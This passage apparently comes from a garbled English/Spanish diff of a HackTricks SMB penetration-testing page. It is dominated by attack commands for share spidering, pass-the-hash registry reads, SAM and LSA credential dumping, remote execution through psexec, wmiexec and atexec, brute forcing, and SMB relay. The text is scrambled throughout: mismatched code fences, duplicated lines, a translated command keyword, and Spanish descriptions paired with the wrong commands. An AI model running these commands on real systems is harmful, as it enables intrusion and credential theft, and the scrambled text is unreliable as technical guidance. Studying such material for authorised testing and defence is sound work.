|
||||
mount -t cifs //x.x.x.x/share /mnt/share
|
||||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **Descargar archivos**
|
||||
|
||||
Lea las secciones anteriores para aprender cómo conectarse con credenciales/Pass-the-Hash.
|
||||
El comando `mount` se utiliza para montar un recurso compartido de red en un directorio local en sistemas operativos basados en Unix. En este caso, se está utilizando el tipo de sistema de archivos `cifs` para montar un recurso compartido SMB (Server Message Block) en el directorio `/mnt/share`.
|
||||
|
||||
En el primer comando, se monta el recurso compartido SMB ubicado en la dirección IP `x.x.x.x` y con el nombre `share` en el directorio `/mnt/share`.
|
||||
|
||||
En el segundo comando, se utiliza la opción `-o` para especificar el nombre de usuario y la contraseña necesarios para acceder al recurso compartido SMB. En este ejemplo, el nombre de usuario es `user` y la contraseña es `password`. Luego, se monta el recurso compartido SMB en el directorio `/mnt/share`.
|
||||
```
|
||||
|
||||
### **Download files**
|
||||
|
||||
Read previous sections to learn how to connect with credentials/Pass-the-Hash.
|
||||
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
#Buscar un archivo y descargarlo
|
||||
sudo smbmap -R Carpeta -H <IP> -A <NombreDeArchivo> -q # Buscar el archivo en modo recursivo y descargarlo dentro de /usr/share/smbmap
|
||||
```
|
||||
|
||||
```bash
|
||||
#Download all
|
||||
smbclient //<IP>/<share>
|
||||
# Descargar todo
|
||||
smbclient //<IP>/<compartir>
|
||||
> mask ""
|
||||
> recurse
|
||||
> prompt
|
||||
> mget *
|
||||
#Download everything to current directory
|
||||
# Descargar todo en el directorio actual
|
||||
```
|
||||
Comandos:
|
||||
|
||||
* mask: especifica la máscara que se utiliza para filtrar los archivos dentro del directorio (por ejemplo, "" para todos los archivos)
|
||||
* recurse: activa la recursión (por defecto: desactivada)
|
||||
* prompt: desactiva la solicitud de nombres de archivo (por defecto: activada)
|
||||
* mget: copia todos los archivos que coinciden con la máscara del host a la máquina cliente
|
||||
Commands:
|
||||
|
||||
(_Información de la página del manual de smbclient_)
|
||||
* mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
|
||||
* recurse: toggles recursion on (default: off)
|
||||
* prompt: toggles prompting for filenames off (default: on)
|
||||
* mget: copies all files matching the mask from host to client machine
|
||||
|
||||
### Búsqueda de carpetas compartidas de dominio
|
||||
(_Information from the manpage of smbclient_)
|
||||
|
||||
### Domain Shared Folders Search
|
||||
|
||||
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
|
||||
|
||||
```bash
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) araña.
|
||||
* `-M spider_plus [--share <nombre_compartido>]`
|
||||
* `--pattern txt`
|
||||
|
||||
El comando anterior ejecuta el archivo `Snaffler.exe` con las siguientes opciones:
|
||||
|
||||
- `-s`: Realiza un escaneo de los servicios SMB en la red.
|
||||
- `-d domain.local`: Especifica el dominio objetivo como `domain.local`.
|
||||
- `-o snaffler.log`: Guarda los resultados del escaneo en el archivo `snaffler.log`.
|
||||
- `-v data`: Muestra información detallada durante el escaneo.
|
||||
```
|
||||
|
||||
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
|
||||
* `-M spider_plus [--share <share_name>]`
|
||||
* `--pattern txt`
|
||||
|
||||
```bash
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Especialmente interesantes son los archivos llamados **`Registry.xml`** ya que **pueden contener contraseñas** para usuarios configurados con **autologon** a través de la Política de Grupo. O archivos **`web.config`** ya que contienen credenciales.
|
||||
|
||||
El comando anterior utiliza la herramienta `crackmapexec` para realizar un ataque de fuerza bruta en el servicio SMB en la dirección IP `10.10.10.10`. Se especifica el nombre de usuario `-u` como "username" y la contraseña `-p` como "pass". El módulo `-M` utilizado es "spider_plus" y se apunta al recurso compartido `Department Shares`.
|
||||
```
|
||||
|
||||
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
|
||||
|
||||
{% hint style="info" %}
|
||||
El recurso compartido **SYSVOL** es **legible** por todos los usuarios autenticados en el dominio. Allí puedes **encontrar** muchos scripts diferentes de batch, VBScript y PowerShell.\
|
||||
Deberías **revisar** los **scripts** dentro de él ya que podrías **encontrar** información sensible como **contraseñas**.
|
||||
The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
|
||||
You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
|
||||
{% endhint %}
|
||||
|
||||
## Leer Registro
|
||||
## Read Registry
|
||||
|
||||
You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
|
||||
|
||||
Es posible que puedas **leer el registro** usando algunas credenciales descubiertas. Impacket **`reg.py`** te permite intentarlo:
|
||||
```bash
|
||||
```
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||||
```
|
||||
## Post Explotación
|
||||
|
||||
La configuración **predeterminada** de un servidor **Samba** generalmente se encuentra en `/etc/samba/smb.conf` y puede tener algunas configuraciones **peligrosas**:
|
||||
```
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 consulta -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 consulta -keyName HKCU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 consulta -keyName HKLM -s
|
||||
```
|
||||
```
|
||||
|
||||
| **Configuración** | **Descripción** |
|
||||
## Post Exploitation
|
||||
|
||||
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
|
||||
|
||||
| **Setting** | **Description** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | ¿Permite listar los recursos compartidos disponibles en el recurso compartido actual? |
|
||||
| `read only = no` | ¿Prohíbe la creación y modificación de archivos? |
|
||||
| `writable = yes` | ¿Permite a los usuarios crear y modificar archivos? |
|
||||
| `guest ok = yes` | ¿Permite conectarse al servicio sin usar una contraseña? |
|
||||
| `enable privileges = yes` | ¿Respeta los privilegios asignados a SID específicos? |
|
||||
| `create mask = 0777` | ¿Qué permisos se deben asignar a los archivos recién creados? |
|
||||
| `directory mask = 0777` | ¿Qué permisos se deben asignar a los directorios recién creados? |
|
||||
| `logon script = script.sh` | ¿Qué script debe ejecutarse en el inicio de sesión del usuario? |
|
||||
| `magic script = script.sh` | ¿Qué script debe ejecutarse cuando se cierra el script? |
|
||||
| `magic output = script.out` | ¿Dónde se debe almacenar la salida del script mágico? |
|
||||
| `browseable = yes` | Allow listing available shares in the current share? |
|
||||
| `read only = no` | Forbid the creation and modification of files? |
|
||||
| `writable = yes` | Allow users to create and modify files? |
|
||||
| `guest ok = yes` | Allow connecting to the service without using a password? |
|
||||
| `enable privileges = yes` | Honor privileges assigned to specific SID? |
|
||||
| `create mask = 0777` | What permissions must be assigned to the newly created files? |
|
||||
| `directory mask = 0777` | What permissions must be assigned to the newly created directories? |
|
||||
| `logon script = script.sh` | What script needs to be executed on the user's login? |
|
||||
| `magic script = script.sh` | Which script should be executed when the script gets closed? |
|
||||
| `magic output = script.out` | Where the output of the magic script needs to be stored? |
|
||||
|
||||
El comando `smbstatus` proporciona información sobre el **servidor** y sobre **quién está conectado**.
|
||||
The command `smbstatus` gives information about the **server** and about **who is connected**.
|
||||
|
||||
## Autenticación usando Kerberos
|
||||
## Authenticate using Kerberos
|
||||
|
||||
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
|
||||
|
||||
```bash
|
||||
# Pentesting SMB
|
||||
|
||||
## SMB Client
|
||||
|
||||
The `smbclient` command is used to interact with SMB (Server Message Block) services. It allows you to connect to SMB shares and perform various operations such as listing files, uploading and downloading files, and executing commands on remote systems.
|
||||
|
||||
To authenticate using Kerberos, you can use the `--kerberos` option followed by the target SMB server address and the share name. For example:
|
||||
|
||||
Puede **autenticarse** en **Kerberos** utilizando las herramientas **smbclient** y **rpcclient**:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
```
|
||||
|
||||
This command will connect to the `C$` share on the `ws01win10.domain.com` server using Kerberos authentication.
|
||||
|
||||
## RPC Client
|
||||
|
||||
The `rpcclient` command is used to interact with RPC (Remote Procedure Call) services. It allows you to execute RPC commands on remote systems.
|
||||
|
||||
To authenticate using Kerberos, you can use the `-k` option followed by the target RPC server address. For example:
|
||||
|
||||
```bash
|
||||
rpcclient -k ws01win10.domain.com
|
||||
```
|
||||
## **Ejecutar Comandos**
|
||||
|
||||
This command will connect to the `ws01win10.domain.com` server using Kerberos authentication.
|
||||
```
|
||||
|
||||
## **Execute Commands**
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec puede ejecutar comandos **abusando** de cualquiera de los métodos **mmcexec, smbexec, atexec, wmiexec** siendo **wmiexec** el método **predeterminado**. Puedes indicar qué opción prefieres usar con el parámetro `--exec-method`:
|
||||
crackmapexec can execute commands **abusing** any of **mmcexec, smbexec, atexec, wmiexec** being **wmiexec** the **default** method. You can indicate which option you prefer to use with the parameter `--exec-method`:
|
||||
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
```markdown
|
||||
Instala crackmapexec con el siguiente comando:
|
||||
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
|
||||
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
|
||||
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
|
||||
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
apt-get install crackmapexec
|
||||
```
|
||||
|
||||
Ejecuta Powershell con el siguiente comando:
|
||||
|
||||
```
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'
|
||||
```
|
||||
|
||||
Ejecuta cmd con el siguiente comando:
|
||||
|
||||
```
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami
|
||||
```
|
||||
|
||||
Realiza Pass-the-Hash con el siguiente comando:
|
||||
|
||||
```
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami
|
||||
```
|
||||
|
||||
Usa el parámetro --exec-method {mmcexec,smbexec,atexec,wmiexec}
|
||||
|
||||
```
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam
|
||||
```
|
||||
|
||||
Obtén el volcado de SAM con el siguiente comando:
|
||||
|
||||
```
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa
|
||||
```
|
||||
|
||||
Obtén las sesiones con el siguiente comando:
|
||||
|
||||
```
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions
|
||||
```
|
||||
|
||||
Obtén los usuarios que han iniciado sesión con el siguiente comando:
|
||||
|
||||
```
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users
|
||||
```
|
||||
|
||||
Enumera los discos con el siguiente comando:
|
||||
|
||||
```
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks
|
||||
```
|
||||
|
||||
Enumera los usuarios con el siguiente comando:
|
||||
|
||||
```
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users
|
||||
```
|
||||
|
||||
Enumera los grupos con el siguiente comando:
|
||||
|
||||
```
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups
|
||||
```
|
||||
|
||||
Enumera los grupos locales con el siguiente comando:
|
||||
|
||||
```
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups
|
||||
```
|
||||
|
||||
Obtén la política de contraseñas con el siguiente comando:
|
||||
|
||||
```
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol
|
||||
```
|
||||
|
||||
Realiza un ataque de fuerza bruta de RID con el siguiente comando:
|
||||
|
||||
```
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute
|
||||
```
|
||||
|
||||
Realiza Pass-The-Hash con el siguiente comando:
|
||||
|
||||
```
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH>
|
||||
```
|
||||
```
|
||||
```
|
||||
|
||||
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||||
|
||||
Ambas opciones **crearán un nuevo servicio** (usando _\pipe\svcctl_ a través de SMB) en la máquina víctima y lo utilizarán para **ejecutar algo** (**psexec** **subirá** un archivo ejecutable al recurso ADMIN$ y **smbexec** apuntará a **cmd.exe/powershell.exe** y pondrá en los argumentos el payload --técnica sin archivo--).\
|
||||
**Más información** sobre [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md) y [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
||||
En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
|
||||
Both options will **create a new service** (using _\pipe\svcctl_ via SMB) in the victim machine and use it to **execute something** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\
|
||||
**More info** about [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
||||
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
||||
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
#Si no se proporciona una contraseña, se solicitará
|
||||
./psexec.py [[dominio/]nombreDeUsuario[:contraseña]@]<nombreDeDestino o dirección>
|
||||
./psexec.py -hashes <LM:NT> administrador@10.10.10.103 #Pass-the-Hash
|
||||
psexec \\192.168.122.66 -u Administrador -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrador -p q23q34t34twd3w34t34wtw34t # Usar pass the hash
|
||||
```
|
||||
Usando el **parámetro** `-k` puedes autenticarte contra **kerberos** en lugar de **NTLM**
|
||||
|
||||
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
|
||||
|
||||
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
|
||||
|
||||
Ejecuta sigilosamente una shell de comandos sin tocar el disco o ejecutar un nuevo servicio usando DCOM a través del **puerto 135.**\
|
||||
En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
|
||||
Stealthily execute a command shell without touching the disk or running a new service using DCOM via **port 135.**\
|
||||
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
||||
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
#Si no se proporciona una contraseña, se solicitará
|
||||
./wmiexec.py [[dominio/]nombreDeUsuario[:contraseña]@]<nombreDeDestino o dirección> #Solicitar contraseña
|
||||
./wmiexec.py -hashes LM:NT administrador@10.10.10.103 #Pass-the-Hash
|
||||
#Puedes agregar al final del comando un comando CMD que se ejecutará, si no lo haces, se solicitará un shell semi-interactivo
|
||||
```
|
||||
Usando el **parámetro** `-k` puedes autenticarte contra **kerberos** en lugar de **NTLM**.
|
||||
|
||||
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
|
||||
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
#Si no se proporciona una contraseña, se solicitará
|
||||
./dcomexec.py [[dominio/]nombreDeUsuario[:contraseña]@]<nombreDeDestino o dirección>
|
||||
./dcomexec.py -hashes <LM:NT> administrador@10.10.10.103 #Pass-the-Hash
|
||||
#Puedes agregar al final del comando un comando CMD que se ejecutará, si no lo haces, se solicitará un shell semi-interactivo
|
||||
```
|
||||
|
||||
### [AtExec](../windows-hardening/ntlm/atexec.md)
|
||||
|
||||
Ejecutar comandos a través del Programador de tareas (usando _\pipe\atsvc_ a través de SMB).\
|
||||
En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
|
||||
Execute commands via the Task Scheduler (using _\pipe\atsvc_ via SMB).\
|
||||
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
||||
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
```
|
||||
## Referencia de Impacket
|
||||
./atexec.py [[dominio/]nombreDeUsuario[:contraseña]@]<nombreDeDestino o dirección> "comando"
|
||||
./atexec.py -hashes <LM:NT> administrador@10.10.10.175 "whoami"
|
||||
```
|
||||
```
|
||||
|
||||
## Impacket reference
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
## **Fuerza bruta de credenciales de usuarios**
|
||||
## **Bruteforce users credentials**
|
||||
|
||||
**This is not recommended, you could block an account if you exceed the maximum allowed tries**
|
||||
|
||||
**Esto no es recomendable, ya que podrías bloquear una cuenta si excedes el número máximo de intentos permitidos.**
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
## Ataque de relé SMB
|
||||
```markdown
|
||||
Ejecuta el comando `nmap --script smb-brute -p 445 <IP>` para realizar un ataque de fuerza bruta en el servicio SMB en el puerto 445.
|
||||
|
||||
Este ataque utiliza la herramienta Responder para **capturar sesiones de autenticación SMB** en una red interna y **retransmitirlas** a una **máquina objetivo**. Si la **sesión de autenticación es exitosa**, automáticamente se accede a una **shell del sistema**.\
|
||||
[**Más información sobre este ataque aquí.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
Utiliza el script `ridenum.py <IP> 500 50000 /root/passwds.txt` para obtener los nombres de usuario mediante un ataque de fuerza bruta en los RID y luego intenta realizar un ataque de fuerza bruta para cada nombre de usuario.
|
||||
```
|
||||
```
|
||||
|
||||
## SMB relay attack
|
||||
|
||||
This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\
|
||||
[**More information about this attack here.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
La biblioteca de Windows URLMon.dll intenta automáticamente autenticarse en el host cuando una página intenta acceder a algún contenido a través de SMB, por ejemplo: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
Esto sucede con las funciones:
|
||||
This happens with the functions:
|
||||
|
||||
* URLDownloadToFile
|
||||
* URLDownloadToCache
|
||||
* URLOpenStream
|
||||
* URLOpenBlockingStream
|
||||
|
||||
Que son utilizadas por algunos navegadores y herramientas (como Skype)
|
||||
Which are used by some browsers and tools (like Skype)
|
||||
|
||||
![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
|
||||
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
|
||||
|
||||
### SMBTrap usando MitMf
|
||||
### SMBTrap using MitMf
|
||||
|
||||
![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
|
||||
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
|
||||
|
||||
## Robo de NTLM
|
||||
## NTLM Theft
|
||||
|
||||
Similar al atrapamiento SMB, al colocar archivos maliciosos en un sistema objetivo (a través de SMB, por ejemplo) se puede provocar un intento de autenticación SMB, lo que permite interceptar el hash NetNTLMv2 con una herramienta como Responder. El hash puede ser descifrado sin conexión o utilizado en un [ataque de relé SMB](pentesting-smb.md#smb-relay-attack).
|
||||
Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](pentesting-smb.md#smb-relay-attack).
|
||||
|
||||
[Ver: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
||||
[See: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
|
||||
## Comandos automáticos de HackTricks
|
||||
```
|
||||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for SMB
|
||||
Note: |
|
||||
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
|
||||
Name: Notas
|
||||
Description: Notas para SMB
|
||||
Note: |
|
||||
Mientras que el puerto 139 se conoce técnicamente como 'NBT sobre IP', el puerto 445 es 'SMB sobre IP'. SMB significa 'Server Message Blocks'. Server Message Block en lenguaje moderno también se conoce como Common Internet File System. El sistema funciona como un protocolo de red de capa de aplicación utilizado principalmente para ofrecer acceso compartido a archivos, impresoras, puertos serie y otros tipos de comunicaciones entre nodos en una red.
|
||||
|
||||
#These are the commands I run in order every time I see an open SMB port
|
||||
#Estos son los comandos que ejecuto en orden cada vez que veo un puerto SMB abierto
|
||||
|
||||
With No Creds
|
||||
nbtscan {IP}
|
||||
smbmap -H {IP}
|
||||
smbmap -H {IP} -u null -p null
|
||||
smbmap -H {IP} -u guest
|
||||
smbclient -N -L //{IP}
|
||||
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
|
||||
rpcclient {IP}
|
||||
rpcclient -U "" {IP}
|
||||
crackmapexec smb {IP}
|
||||
crackmapexec smb {IP} --pass-pol -u "" -p ""
|
||||
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
|
||||
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
|
||||
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
|
||||
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
|
||||
getArch.py -target {IP}
|
||||
Sin credenciales
|
||||
nbtscan {IP}
|
||||
smbmap -H {IP}
|
||||
smbmap -H {IP} -u null -p null
|
||||
smbmap -H {IP} -u guest
|
||||
smbclient -N -L //{IP}
|
||||
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
|
||||
rpcclient {IP}
|
||||
rpcclient -U "" {IP}
|
||||
crackmapexec smb {IP}
|
||||
crackmapexec smb {IP} --pass-pol -u "" -p ""
|
||||
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
|
||||
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
|
||||
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
|
||||
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
|
||||
getArch.py -target {IP}
|
||||
|
||||
With Creds
|
||||
smbmap -H {IP} -u {Username} -p {Password}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||||
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||||
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
||||
Con credenciales
|
||||
smbmap -H {IP} -u {Username} -p {Password}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||||
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||||
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-smb
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-smb
|
||||
|
||||
Entry_2:
|
||||
Name: Enum4Linux
|
||||
Description: General SMB Scan
|
||||
Command: enum4linux -a {IP}
|
||||
Name: Enum4Linux
|
||||
Description: Escaneo SMB general
|
||||
Command: enum4linux -a {IP}
|
||||
|
||||
Entry_3:
|
||||
Name: Nmap SMB Scan 1
|
||||
Description: SMB Vuln Scan With Nmap
|
||||
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
|
||||
Name: Nmap SMB Scan 1
|
||||
Description: Escaneo de vulnerabilidades SMB con Nmap
|
||||
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
|
||||
|
||||
Entry_4:
|
||||
Name: Nmap Smb Scan 2
|
||||
Description: SMB Vuln Scan With Nmap (Less Specific)
|
||||
Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}
|
||||
Name: Nmap Smb Scan 2
|
||||
Description: Escaneo de vulnerabilidades SMB con Nmap (Menos específico)
|
||||
Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}
|
||||
|
||||
Entry_5:
|
||||
Name: Hydra Brute Force
|
||||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
|
||||
|
||||
Name: Hydra Brute Force
|
||||
Description: Requiere usuario
|
||||
